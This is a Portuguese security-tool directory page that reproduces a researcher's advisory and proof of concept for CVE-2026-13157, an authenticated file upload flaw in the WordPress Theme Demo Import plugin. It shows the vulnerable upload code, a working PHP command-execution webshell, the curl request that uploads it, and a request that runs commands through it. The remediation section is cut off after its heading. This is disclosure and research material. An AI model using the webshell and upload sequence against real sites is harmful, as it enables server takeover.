Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-13157 — Prova de conceito e análise de causa raiz para um upload arbitrário de arquivos autenticado no WordPress Theme Demo Import, levando à execução remota de código por meio de um webshell PHP. | Kitploit
Ferramentas/GitHubGitHub/minhhk68/cve-2026-13157
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubminhhk68/cve-2026-13157

CVE-2026-13157

Prova de conceito e análise de causa raiz para um upload arbitrário de arquivos autenticado no WordPress Theme Demo Import, levando à execução remota de código por meio de um webshell PHP.

Ver Repositório
32há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

[CVE-2026-13157] Theme Demo Import <= 1.1.3 — Upload Arbitrário de Arquivos e Execução Remota de Código

WPScan Verified Advisory CVSS 6.6 Medium Discovered by Huynh Kien Minh


📖 Visão Geral do Advisory

CVE-2026-13157 é uma vulnerabilidade autenticada de upload arbitrário de arquivos que afeta o plugin WordPress Theme Demo Import até a versão 1.1.3, inclusive, descoberta e analisada pelo pesquisador de segurança cibernética Huynh Kien Minh (MinhHK). A vulnerabilidade existe na rotina de importação de dados de demonstração via AJAX (TDI_import_demo_data), na qual o plugin desativa explicitamente os testes padrão de verificação de tipo de arquivo do WordPress ('test_type' => false) durante o processamento do upload. Um usuário autenticado com capacidade de importação — como um administrador padrão do site ou um administrador de site não superadministrador em uma arquitetura WordPress Multisite — pode contornar a aplicação das restrições de arquivo para enviar scripts PHP executáveis arbitrários diretamente para o diretório público wp-content/uploads/, alcançando Execução Remota de Código (RCE) persistente e o comprometimento total do servidor.


📌 Resumo Executivo

ParâmetroEspecificação Técnica
Identificador da VulnerabilidadeCVE-2026-13157
Software AlvoTheme Demo Import (Plugin WordPress)
Slug do Plugintheme-demo-import
Versões Afetadas<= 1.1.3
Classe de VulnerabilidadeUpload Irrestrito de Arquivo com Tipo Perigoso (CWE-434 / OWASP A03)
Pontuação CVSS v3.16.6 (Médio) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H)
Descobridor / PesquisadorHuynh Kien Minh (MinhHK)
Autoridade de VerificaçãoWPScan / MITRE Corporation
URL do Advisory WPScanhttps://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/
Portfólio do Pesquisadorhttps://minhhk.web.app/

🔍 Causa Raiz e Análise de Código

A causa raiz do CVE-2026-13157 reside na arquitetura de manipulação de upload de arquivos implementada em inc/class-tdi-helpers.php. Durante as operações de importação de dados de demonstração, o plugin processa os anexos de arquivo recebidos por meio do endpoint AJAX registrado em inc/class-tdi-main.php na Linha 55:

// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );

Ao processar os arquivos de configuração de demonstração enviados (content_file, widget_file e customizer_file), o método de importação interno instrui diretamente a API wp_handle_upload() do WordPress a ignorar as verificações de tipo MIME e de validação de formulário dos arquivos:

// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
    'test_form' => false,
    'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);

// Handle demo content and widgets file upload.
$content_file_info    = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info     = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

Ao passar 'test_type' => false para $upload_overrides, o desenvolvedor sobrescreveu o subsistema de verificação MIME do núcleo do WordPress (wp_check_filetype_and_ext()). Como consequência direta, o aplicativo não restringe mais os anexos de arquivo aos formatos seguros de dados de demonstração (.xml, .json, .wie, .dat), permitindo que qualquer usuário autenticado com acesso à página de configurações envie scripts PHP executáveis (.php, .phtml, .phar) diretamente para a raiz pública do documento.


💻 Prova de Conceito (PoC) do Exploit

Aviso de Pesquisa Ética: Esta prova de conceito está documentada estritamente para auditoria educacional, engenharia defensiva e validação autorizada de segurança. A exploração não autorizada de sistemas em produção é proibida.

Pré-requisitos e Configuração

  • Sistema Alvo: Instância WordPress executando o Theme Demo Import versão <= 1.1.3.
  • Requisito de Privilégio: Sessão autenticada com capacidade de import (Admin / Admin de Site Multisite).
  • Obtenção do Nonce de Segurança: Extraia o token de segurança AJAX tdi-ajax-verification (exposto no DOM da página como propriedade do objeto JavaScript tdi.ajax_nonce em /wp-admin/themes.php?page=theme-demo-import).

Execução da Reprodução

  1. Crie um payload de web shell local intitulado exploit_webshell.php:
<?php 
if(isset($_REQUEST['cmd'])){
    system($_REQUEST['cmd']);
} else {
    echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
  1. Execute o payload autenticado de múltiplas partes via cURL direcionado ao despachante AJAX administrativo:
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
  -F "action=TDI_import_demo_data" \
  -F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
  -F "content_file=@exploit_webshell.php;type=application/x-php"
  1. O servidor responde com um reconhecimento JSON afirmativo do upload. Acesse o executável enviado diretamente no diretório mensal designado para acionar a Execução Remota de Código:
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>

💥 Modelagem de Ameaças e Cenários de Impacto no Multisite

Embora as instalações WordPress de site único concedam aos administradores padrão controle confiável sobre o ambiente do servidor, o CVE-2026-13157 introduz o colapso de fronteiras de segurança críticas em implantações Enterprise e Multisite:

  1. Escalonamento de Privilégio no WordPress Multisite (RCE de Admin de Site para Super Admin): Em uma arquitetura WordPress Multisite, os administradores individuais de site são deliberadamente restringidos pelo design do núcleo de instalar plugins, editar temas ou enviar extensões de script inseguras (a capacidade unfiltered_upload é reservada exclusivamente aos Super Admins de Rede). O CVE-2026-13157 destrói completamente esse isolamento multi-inquilino, permitindo que um administrador de sub-site não verificado insira um web shell e execute comandos de sistema em toda a rede de servidores.
  2. ByPass de Fronteira em Hospedagem Gerenciada de WordPress: Plataformas modernas de hospedagem segura restringem as permissões de modificação de arquivos e desativam os recursos do editor de arquivos (DISALLOW_FILE_EDIT). Esta vulnerabilidade contorna as restrições de hospedagem ao aproveitar o mecanismo nativo de transferência de arquivos do plugin para gravar código executável arbitrário diretamente no armazenamento de volume gravável.

🛡️ Remediação e Arquitetura do Patch

Baixar ferramenta